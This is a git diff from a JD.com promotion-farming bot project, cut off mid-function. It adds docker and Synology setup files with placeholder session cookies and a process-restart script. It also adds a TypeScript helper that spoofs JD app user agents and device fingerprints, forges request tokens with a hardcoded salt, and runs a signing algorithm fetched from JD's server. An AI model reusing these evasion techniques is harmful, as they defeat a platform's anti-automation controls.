具体使用说明直接在图片标注了,文件参考[图片下方](https://github.com/LXK9301/jd_scripts/new/master/docker#docker-composeyml%E6%96%87%E4%BB%B6%E5%8F%82%E8%80%83),配置完成后的[执行命令]() +![image](https://user-images.githubusercontent.com/6993269/97781610-a1af6380-1bc7-11eb-9397-903b47f5ad6b.png) +#### `docker-compose.yml`文件参考 +```yaml +version: "3" +services: + jd_scripts1: #默认 + image: lxk0301/jd_scripts + # 配置服务器资源约束。此例子中服务被限制为使用内存不超过200M以及cpu不超过 0.2(单核的20%) + # 经过实际测试,建议不低于200M + # deploy: + # resources: + # limits: + # cpus: '0.2' + # memory: 200M + restart: always + container_name: jd_scripts1 + tty: true + volumes: + - ./logs1:/scripts/logs + environment: + - JD_COOKIE=pt_key=AAJfjaNrADAS8ygfgIsOxxxxxxxKpfDaZ2pSBOYTxtPqLK8U1Q;pt_pin=lxxxxxx5; + - TG_BOT_TOKEN=130xxxx280:AAExxxxxxWP10zNf91WQ + - TG_USER_ID=12xxxx206 + # 互助助码等参数可自行增加,如下。 + # 京东种豆得豆 + # - PLANT_BEAN_SHARECODES= + + jd_scripts2: #默认 + image: lxk0301/jd_scripts + restart: always + container_name: jd_scripts2 + tty: true + volumes: + - ./logs2:/scripts/logs + environment: + - JD_COOKIE=pt_key=AAJfjaNrADAS8ygfgIsOxxxxxxxKpfDaZ2pSBOYTxtPqLK8U1Q;pt_pin=lxxxxxx5; + - TG_BOT_TOKEN=130xxxx280:AAExxxxxxWP10zNf91WQ + - TG_USER_ID=12xxxx206 + jd_scripts4: #自定义追加默认之后 + image: lxk0301/jd_scripts + restart: always + container_name: jd_scripts4 + tty: true + volumes: + - ./logs4:/scripts/logs + - ./my_crontab_list4.sh:/scripts/docker/my_crontab_list.sh + environment: + - JD_COOKIE=pt_key=AAJfjaNrADAS8ygfgIsOxxxxxxxKpfDaZ2pSBOYTxtPqLK8U1Q;pt_pin=lxxxxxx5; + - TG_BOT_TOKEN=130xxxx280:AAExxxxxxWP10zNf91WQ + - TG_USER_ID=12xxxx206 + - CUSTOM_LIST_FILE=my_crontab_list.sh + jd_scripts5: #自定义覆盖默认 + image: lxk0301/jd_scripts + restart: always + container_name: jd_scripts5 + tty: true + volumes: + - ./logs5:/scripts/logs + - ./my_crontab_list5.sh:/scripts/docker/my_crontab_list.sh + environment: + - JD_COOKIE=pt_key=AAJfjaNrADAS8ygfgIsOxxxxxxxKpfDaZ2pSBOYTxtPqLK8U1Q;pt_pin=lxxxxxx5; + - TG_BOT_TOKEN=130xxxx280:AAExxxxxxWP10zNf91WQ + - TG_USER_ID=12xxxx206 + - CUSTOM_LIST_FILE=my_crontab_list.sh + - CUSTOM_LIST_MERGE_TYPE=overwrite + +``` +#### 目录文件配置好之后在 `jd_scripts_multi`目录执行 + `docker-compose up -d` 启动; + `docker-compose logs` 打印日志; + `docker-compose pull` 更新镜像; + `docker-compose stop` 停止容器; + `docker-compose restart` 重启容器; + `docker-compose down` 停止并删除容器; + ![image](https://user-images.githubusercontent.com/6993269/97781935-8fcec000-1bc9-11eb-9d1a-d219e7a1caa9.png) + + diff --git a/docker/example/jd_scripts.custom-append.syno.json b/docker/example/jd_scripts.custom-append.syno.json new file mode 100644 index 0000000..a2da16f --- /dev/null +++ b/docker/example/jd_scripts.custom-append.syno.json @@ -0,0 +1,65 @@ +{ + "cap_add" : [], + "cap_drop" : [], + "cmd" : "", + "cpu_priority" : 50, + "devices" : null, + "enable_publish_all_ports" : false, + "enable_restart_policy" : true, + "enabled" : true, + "env_variables" : [ + { + "key" : "PATH", + "value" : "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" + }, + { + "key" : "CDN_JD_DAILYBONUS", + "value" : "true" + }, + { + "key" : "JD_COOKIE", + "value" : "pt_key=xxx;pt_pin=xxx;" + }, + { + "key" : "PUSH_KEY", + "value" : "" + }, + { + "key" : "CUSTOM_LIST_FILE", + "value" : "my_crontab_list.sh" + } + ], + "exporting" : false, + "id" : "3a2f6f27c23f93bc104585c22569c760cc9ce82df09cdb41d53b491fe1d0341c", + "image" : "lxk0301/jd_scripts", + "is_ddsm" : false, + "is_package" : false, + "links" : [], + "memory_limit" : 0, + "name" : "jd_scripts", + "network" : [ + { + "driver" : "bridge", + "name" : "bridge" + } + ], + "network_mode" : "default", + "port_bindings" : [], + "privileged" : false, + "shortcut" : { + "enable_shortcut" : false + }, + "use_host_network" : false, + "volume_bindings" : [ + { + "host_volume_file" : "/docker/jd_scripts/my_crontab_list.sh", + "mount_point" : "/scripts/docker/my_crontab_list.sh", + "type" : "rw" + }, + { + "host_volume_file" : "/docker/jd_scripts/logs", + "mount_point" : "/scripts/logs", + "type" : "rw" + } + ] +} diff --git a/docker/example/jd_scripts.custom-overwrite.syno.json b/docker/example/jd_scripts.custom-overwrite.syno.json new file mode 100644 index 0000000..e4e05fb --- /dev/null +++ b/docker/example/jd_scripts.custom-overwrite.syno.json @@ -0,0 +1,69 @@ +{ + "cap_add" : [], + "cap_drop" : [], + "cmd" : "", + "cpu_priority" : 50, + "devices" : null, + "enable_publish_all_ports" : false, + "enable_restart_policy" : true, + "enabled" : true, + "env_variables" : [ + { + "key" : "PATH", + "value" : "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" + }, + { + "key" : "CDN_JD_DAILYBONUS", + "value" : "true" + }, + { + "key" : "JD_COOKIE", + "value" : "pt_key=xxx;pt_pin=xxx;" + }, + { + "key" : "PUSH_KEY", + "value" : "" + }, + { + "key" : "CUSTOM_LIST_FILE", + "value" : "my_crontab_list.sh" + }, + { + "key" : "CUSTOM_LIST_MERGE_TYPE", + "value" : "overwrite" + } + ], + "exporting" : false, + "id" : "3a2f6f27c23f93bc104585c22569c760cc9ce82df09cdb41d53b491fe1d0341c", + "image" : "lxk0301/jd_scripts", + "is_ddsm" : false, + "is_package" : false, + "links" : [], + "memory_limit" : 0, + "name" : "jd_scripts", + "network" : [ + { + "driver" : "bridge", + "name" : "bridge" + } + ], + "network_mode" : "default", + "port_bindings" : [], + "privileged" : false, + "shortcut" : { + "enable_shortcut" : false + }, + "use_host_network" : false, + "volume_bindings" : [ + { + "host_volume_file" : "/docker/jd_scripts/my_crontab_list.sh", + "mount_point" : "/scripts/docker/my_crontab_list.sh", + "type" : "rw" + }, + { + "host_volume_file" : "/docker/jd_scripts/logs", + "mount_point" : "/scripts/logs", + "type" : "rw" + } + ] +} diff --git a/docker/example/jd_scripts.syno.json b/docker/example/jd_scripts.syno.json new file mode 100644 index 0000000..189b047 --- /dev/null +++ b/docker/example/jd_scripts.syno.json @@ -0,0 +1,83 @@ +{ + "cap_add" : null, + "cap_drop" : null, + "cmd" : "", + "cpu_priority" : 0, + "devices" : null, + "enable_publish_all_ports" : false, + "enable_restart_policy" : true, + "enabled" : false, + "env_variables" : [ + { + "key" : "PATH", + "value" : "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" + }, + { + "key" : "CDN_JD_DAILYBONUS", + "value" : "true" + }, + { + "key" : "JD_COOKIE", + "value" : "pt_key=AAJfjaNrADASxxxxxxxKpfDaZ2pSBOYTxtPqLK8U1Q;pt_pin=lxxxxx5;" + }, + { + "key" : "TG_BOT_TOKEN", + "value" : "13xxxxxx80:AAEkNxxxxxxzNf91WQ" + }, + { + "key" : "TG_USER_ID", + "value" : "12xxxx206" + }, + { + "key" : "PLANT_BEAN_SHARECODES", + "value" : "" + }, + { + "key" : "FRUITSHARECODES", + "value" : "" + }, + { + "key" : "PETSHARECODES", + "value" : "" + }, + { + "key" : "SUPERMARKET_SHARECODES", + "value" : "" + }, + { + "key" : "CRONTAB_LIST_FILE", + "value" : "crontab_list.sh" + } + ], + "exporting" : false, + "id" : "18af38bc0ac37a40e4b9608a86fef56c464577cc160bbdddec90155284fcf4e5", + "image" : "lxk0301/jd_scripts", + "is_ddsm" : false, + "is_package" : false, + "links" : [], + "memory_limit" : 0, + "name" : "jd_scripts", + "network" : [ + { + "driver" : "bridge", + "name" : "bridge" + } + ], + "network_mode" : "default", + "port_bindings" : [], + "privileged" : false, + "shortcut" : { + "enable_shortcut" : false, + "enable_status_page" : false, + "enable_web_page" : false, + "web_page_url" : "" + }, + "use_host_network" : false, + "volume_bindings" : [ + { + "host_volume_file" : "/docker/jd_scripts/logs", + "mount_point" : "/scripts/logs", + "type" : "rw" + } + ] +} diff --git a/docker/example/multi.yml b/docker/example/multi.yml new file mode 100644 index 0000000..a02de0d --- /dev/null +++ b/docker/example/multi.yml @@ -0,0 +1,62 @@ +version: "3" +services: + jd_scripts1: #默认 + image: lxk0301/jd_scripts + # 配置服务器资源约束。此例子中服务被限制为使用内存不超过200M以及cpu不超过 0.2(单核的20%) + # 经过实际测试,建议不低于200M + # deploy: + # resources: + # limits: + # cpus: '0.2' + # memory: 200M + restart: always + container_name: jd_scripts1 + tty: true + volumes: + - ./logs1:/scripts/logs + environment: + - JD_COOKIE=pt_key=AAJfjaNrADAS8ygfgIsOxxxxxxxKpfDaZ2pSBOYTxtPqLK8U1Q;pt_pin=lxxxxxx5; + - TG_BOT_TOKEN=130xxxx280:AAExxxxxxWP10zNf91WQ + - TG_USER_ID=12xxxx206 + # 互助助码等参数可自行增加,如下。 + # 京东种豆得豆 + # - PLANT_BEAN_SHARECODES= + + jd_scripts2: #默认 + image: lxk0301/jd_scripts + restart: always + container_name: jd_scripts2 + tty: true + volumes: + - ./logs2:/scripts/logs + environment: + - JD_COOKIE=pt_key=AAJfjaNrADAS8ygfgIsOxxxxxxxKpfDaZ2pSBOYTxtPqLK8U1Q;pt_pin=lxxxxxx5; + - TG_BOT_TOKEN=130xxxx280:AAExxxxxxWP10zNf91WQ + - TG_USER_ID=12xxxx206 + jd_scripts4: #自定义追加默认之后 + image: lxk0301/jd_scripts + restart: always + container_name: jd_scripts4 + tty: true + volumes: + - ./logs4:/scripts/logs + - ./my_crontab_list4.sh:/scripts/docker/my_crontab_list.sh + environment: + - JD_COOKIE=pt_key=AAJfjaNrADAS8ygfgIsOxxxxxxxKpfDaZ2pSBOYTxtPqLK8U1Q;pt_pin=lxxxxxx5; + - TG_BOT_TOKEN=130xxxx280:AAExxxxxxWP10zNf91WQ + - TG_USER_ID=12xxxx206 + - CUSTOM_LIST_FILE=my_crontab_list.sh + jd_scripts5: #自定义覆盖默认 + image: lxk0301/jd_scripts + restart: always + container_name: jd_scripts5 + tty: true + volumes: + - ./logs5:/scripts/logs + - ./my_crontab_list5.sh:/scripts/docker/my_crontab_list.sh + environment: + - JD_COOKIE=pt_key=AAJfjaNrADAS8ygfgIsOxxxxxxxKpfDaZ2pSBOYTxtPqLK8U1Q;pt_pin=lxxxxxx5; + - TG_BOT_TOKEN=130xxxx280:AAExxxxxxWP10zNf91WQ + - TG_USER_ID=12xxxx206 + - CUSTOM_LIST_FILE=my_crontab_list.sh + - CUSTOM_LIST_MERGE_TYPE=overwrite diff --git a/docker/notify_docker_user.js b/docker/notify_docker_user.js new file mode 100644 index 0000000..7ca2b0e --- /dev/null +++ b/docker/notify_docker_user.js @@ -0,0 +1,20 @@ +const notify = require('../sendNotify'); +const fs = require('fs'); +const notifyPath = '/scripts/logs/notify.txt'; +async function image_update_notify() { + if (fs.existsSync(notifyPath)) { + const content = await fs.readFileSync(`${notifyPath}`, 'utf8');//读取notify.txt内容 + if (process.env.NOTIFY_CONTENT && !content.includes(process.env.NOTIFY_CONTENT)) { + await notify.sendNotify("⚠️Docker镜像版本更新通知⚠️", process.env.NOTIFY_CONTENT); + await fs.writeFileSync(`${notifyPath}`, process.env.NOTIFY_CONTENT); + } + } else { + if (process.env.NOTIFY_CONTENT) { + notify.sendNotify("⚠️Docker镜像版本更新通知⚠️", process.env.NOTIFY_CONTENT) + await fs.writeFileSync(`${notifyPath}`, process.env.NOTIFY_CONTENT); + } + } +} +!(async() => { + await image_update_notify(); +})().catch((e) => console.log(e)) \ No newline at end of file diff --git a/docker/proc_file.sh b/docker/proc_file.sh new file mode 100644 index 0000000..89f4627 --- /dev/null +++ b/docker/proc_file.sh @@ -0,0 +1,27 @@ +#!/bin/sh + +if [[ -f /usr/bin/jd_bot && -z "$DISABLE_SPNODE" ]]; then + CMD="spnode" +else + CMD="node" +fi + +echo "处理jd_crazy_joy_coin任务。。。" +if [ ! $CRZAY_JOY_COIN_ENABLE ]; then + echo "默认启用jd_crazy_joy_coin杀掉jd_crazy_joy_coin任务,并重启" + eval $(ps -ef | grep "jd_crazy_joy_coin" | grep -v "grep" | awk '{print "kill "$1}') + echo '' >/scripts/logs/jd_crazy_joy_coin.log + $CMD /scripts/jd_crazy_joy_coin.js | ts >>/scripts/logs/jd_crazy_joy_coin.log 2>&1 & + echo "默认jd_crazy_joy_coin重启完成" +else + if [ $CRZAY_JOY_COIN_ENABLE = "Y" ]; then + echo "配置启用jd_crazy_joy_coin,杀掉jd_crazy_joy_coin任务,并重启" + eval $(ps -ef | grep "jd_crazy_joy_coin" | grep -v "grep" | awk '{print "kill "$1}') + echo '' >/scripts/logs/jd_crazy_joy_coin.log + $CMD /scripts/jd_crazy_joy_coin.js | ts >>/scripts/logs/jd_crazy_joy_coin.log 2>&1 & + echo "配置jd_crazy_joy_coin重启完成" + else + eval $(ps -ef | grep "jd_crazy_joy_coin" | grep -v "grep" | awk '{print "kill "$1}') + echo "已配置不启用jd_crazy_joy_coin任务,仅杀掉" + fi +fi diff --git a/function/TS_USER_AGENTS.ts b/function/TS_USER_AGENTS.ts new file mode 100644 index 0000000..fccc43a --- /dev/null +++ b/function/TS_USER_AGENTS.ts @@ -0,0 +1,341 @@ +import axios from "axios" +import {Md5} from "ts-md5" +import * as dotenv from "dotenv" +import {existsSync, readFileSync} from "fs" +import {sendNotify} from './sendNotify' + +dotenv.config() + +let fingerprint: string | number, token: string = '', enCryptMethodJD: any + +const USER_AGENTS: Array = [ + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; ONEPLUS A5010 Build/QKQ1.191014.012; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;9;network/4g;Mozilla/5.0 (Linux; Android 9; Mi Note 3 Build/PKQ1.181007.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045131 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; GM1910 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;android;10.0.2;9;network/wifi;Mozilla/5.0 (Linux; Android 9; 16T Build/PKQ1.190616.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;13.6;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.6;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.5;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.7;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.4;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;9;network/wifi;Mozilla/5.0 (Linux; Android 9; MI 6 Build/PKQ1.190118.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;android;10.0.2;11;network/wifi;Mozilla/5.0 (Linux; Android 11; Redmi K30 5G Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045511 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;11.4;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 11_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15F79", + "jdapp;android;10.0.2;10;;network/wifi;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; ONEPLUS A6000 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045224 Mobile Safari/537.36", + "jdapp;android;10.0.2;9;network/wifi;Mozilla/5.0 (Linux; Android 9; MHA-AL00 Build/HUAWEIMHA-AL00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;android;10.0.2;8.1.0;network/wifi;Mozilla/5.0 (Linux; Android 8.1.0; 16 X Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;android;10.0.2;8.0.0;network/wifi;Mozilla/5.0 (Linux; Android 8.0.0; HTC U-3w Build/OPR6.170623.013; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.0.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; LYA-AL00 Build/HUAWEILYA-AL00L; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.2;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.2;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;8.1.0;network/wifi;Mozilla/5.0 (Linux; Android 8.1.0; MI 8 Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045131 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; Redmi K20 Pro Premium Edition Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;11;network/wifi;Mozilla/5.0 (Linux; Android 11; Redmi K20 Pro Premium Edition Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045513 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", +] + +function TotalBean(cookie: string) { + return { + cookie: cookie, + isLogin: true, + nickName: '' + } +} + +function getRandomNumberByRange(start: number, end: number) { + end <= start && (end = start + 100) + return Math.floor(Math.random() * (end - start) + start) +} + +let USER_AGENT = USER_AGENTS[getRandomNumberByRange(0, USER_AGENTS.length)] + +async function getBeanShareCode(cookie: string) { + let {data}: any = await axios.post('https://api.m.jd.com/client.action', + `functionId=plantBeanIndex&body=${encodeURIComponent( + JSON.stringify({version: "9.0.0.1", "monitor_source": "plant_app_plant_index", "monitor_refer": ""}) + )}&appid=ld&client=apple&area=5_274_49707_49973&build=167283&clientVersion=9.1.0`, { + headers: { + Cookie: cookie, + Host: "api.m.jd.com", + Accept: "*/*", + Connection: "keep-alive", + "User-Agent": USER_AGENT + } + }) + if (data.data?.jwordShareInfo?.shareUrl) + return data.data.jwordShareInfo.shareUrl.split('Uuid=')![1] + else + return '' +} + +async function getFarmShareCode(cookie: string) { + let {data}: any = await axios.post('https://api.m.jd.com/client.action?functionId=initForFarm', `body=${encodeURIComponent(JSON.stringify({"version": 4}))}&appid=wh5&clientVersion=9.1.0`, { + headers: { + "cookie": cookie, + "origin": "https://home.m.jd.com", + "referer": "https://home.m.jd.com/myJd/newhome.action", + "User-Agent": USER_AGENT, + "Content-Type": "application/x-www-form-urlencoded" + } + }) + + if (data.farmUserPro) + return data.farmUserPro.shareCode + else + return '' +} + +async function requireConfig(check: boolean = false): Promise { + let cookiesArr: string[] = [] + const jdCookieNode = require('../jdCookie.js') + let keys: string[] = Object.keys(jdCookieNode) + for (let i = 0; i < keys.length; i++) { + let cookie = jdCookieNode[keys[i]] + if (!check) { + cookiesArr.push(cookie) + } else { + if (await checkCookie(cookie)) { + cookiesArr.push(cookie) + } else { + let username = decodeURIComponent(jdCookieNode[keys[i]].match(/pt_pin=([^;]*)/)![1]) + console.log('Cookie失效', username) + await sendNotify('Cookie失效', '【京东账号】' + username) + } + } + } + console.log(`共${cookiesArr.length}个京东账号\n`) + return cookiesArr +} + +async function checkCookie(cookie) { + await wait(1000) + try { + let {data}: any = await axios.get(`https://api.m.jd.com/client.action?functionId=GetJDUserInfoUnion&appid=jd-cphdeveloper-m&body=${encodeURIComponent(JSON.stringify({"orgFlag": "JD_PinGou_New", "callSource": "mainorder", "channel": 4, "isHomewhite": 0, "sceneval": 2}))}&loginType=2&_=${Date.now()}&sceneval=2&g_login_type=1&callback=GetJDUserInfoUnion&g_ty=ls`, { + headers: { + 'authority': 'api.m.jd.com', + 'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_1 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E304 Safari/602.1', + 'referer': 'https://home.m.jd.com/', + 'cookie': cookie + } + }) + data = JSON.parse(data.match(/GetJDUserInfoUnion\((.*)\)/)[1]) + return data.retcode === '0'; + } catch (e) { + return false + } +} + +function wait(timeout: number) { + return new Promise(resolve => { + setTimeout(resolve, timeout) + }) +} + +async function requestAlgo(appId: number = 10032) { + fingerprint = generateFp() + return new Promise(async resolve => { + let {data}: any = await axios.post('https://cactus.jd.com/request_algo?g_ty=ajax', { + "version": "1.0", + "fp": fingerprint, + "appId": appId, + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }, { + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': USER_AGENT, + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + }) + if (data['status'] === 200) { + token = data.data.result.tk + let enCryptMethodJDString = data.data.result.algo + if (enCryptMethodJDString) enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)() + } else { + console.log(`fp: ${fingerprint}`) + console.log('request_algo 签名参数API请求失败:') + } + resolve() + }) +} + +function generateFp() { + let e = "0123456789" + let a = 13 + let i = '' + for (; a--;) + i += e[Math.random() * e.length | 0] + return (i + Date.now()).slice(0, 16) +} + +function getJxToken(cookie: string, phoneId: string = '') { + function generateStr(input: number) { + let src = 'abcdefghijklmnopqrstuvwxyz1234567890' + let res = '' + for (let i = 0; i < input; i++) { + res += src[Math.floor(src.length * Math.random())] + } + return res + } + + if (!phoneId) + phoneId = generateStr(40) + let timestamp = Date.now().toString() + let nickname = cookie.match(/pt_pin=([^;]*)/)![1] + let jstoken = Md5.hashStr('' + decodeURIComponent(nickname) + timestamp + phoneId + 'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy') + return { + 'strPgtimestamp': timestamp, + 'strPhoneID': phoneId, + 'strPgUUNum': jstoken + } +} + +function exceptCookie(filename: string = 'x.ts') { + let except: any = [] + if (existsSync('./utils/exceptCookie.json')) { + try { + except = JSON.parse(readFileSync('./utils/exceptCookie.json').toString() || '{}')[filename] || [] + } catch (e) { + console.log('./utils/exceptCookie.json JSON格式错误') + } + } + return except +} + +function randomString(e: number, word?: number) { + e = e || 32 + let t = word === 26 ? "012345678abcdefghijklmnopqrstuvwxyz" : "0123456789abcdef", a = t.length, n = "" + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)) + return n +} + +function o2s(arr: object, title: string = '') { + title ? console.log(title, JSON.stringify(arr)) : console.log(JSON.stringify(arr)) +} + +function randomNumString(e: number) { + e = e || 32 + let t = '0123456789', a = t.length, n = "" + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)) + return n +} + +function randomWord(n: number = 1) { + let t = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', a = t.length + let rnd: string = '' + for (let i = 0; i < n; i++) { + rnd += t.charAt(Math.floor(Math.random() * a)) + } + return rnd +} + +function obj2str(obj: object) { + return JSON.stringify(obj) +} + +async function getDevice() { + let {data} = await axios.get('https://betahub.cn/api/apple/devices/iPhone', { + headers: { + 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36' + } + }) + data = data[getRandomNumberByRange(0, 16)] + return data.identifier +} + +async function getVersion(device: string) { + let {data} = await axios.get(`https://betahub.cn/api/apple/firmwares/${device}`, { + headers: { + 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36' + } + }) + data = data[getRandomNumberByRange(0, data.length)] + return data.firmware_info.version +} + +async function jdpingou() { + 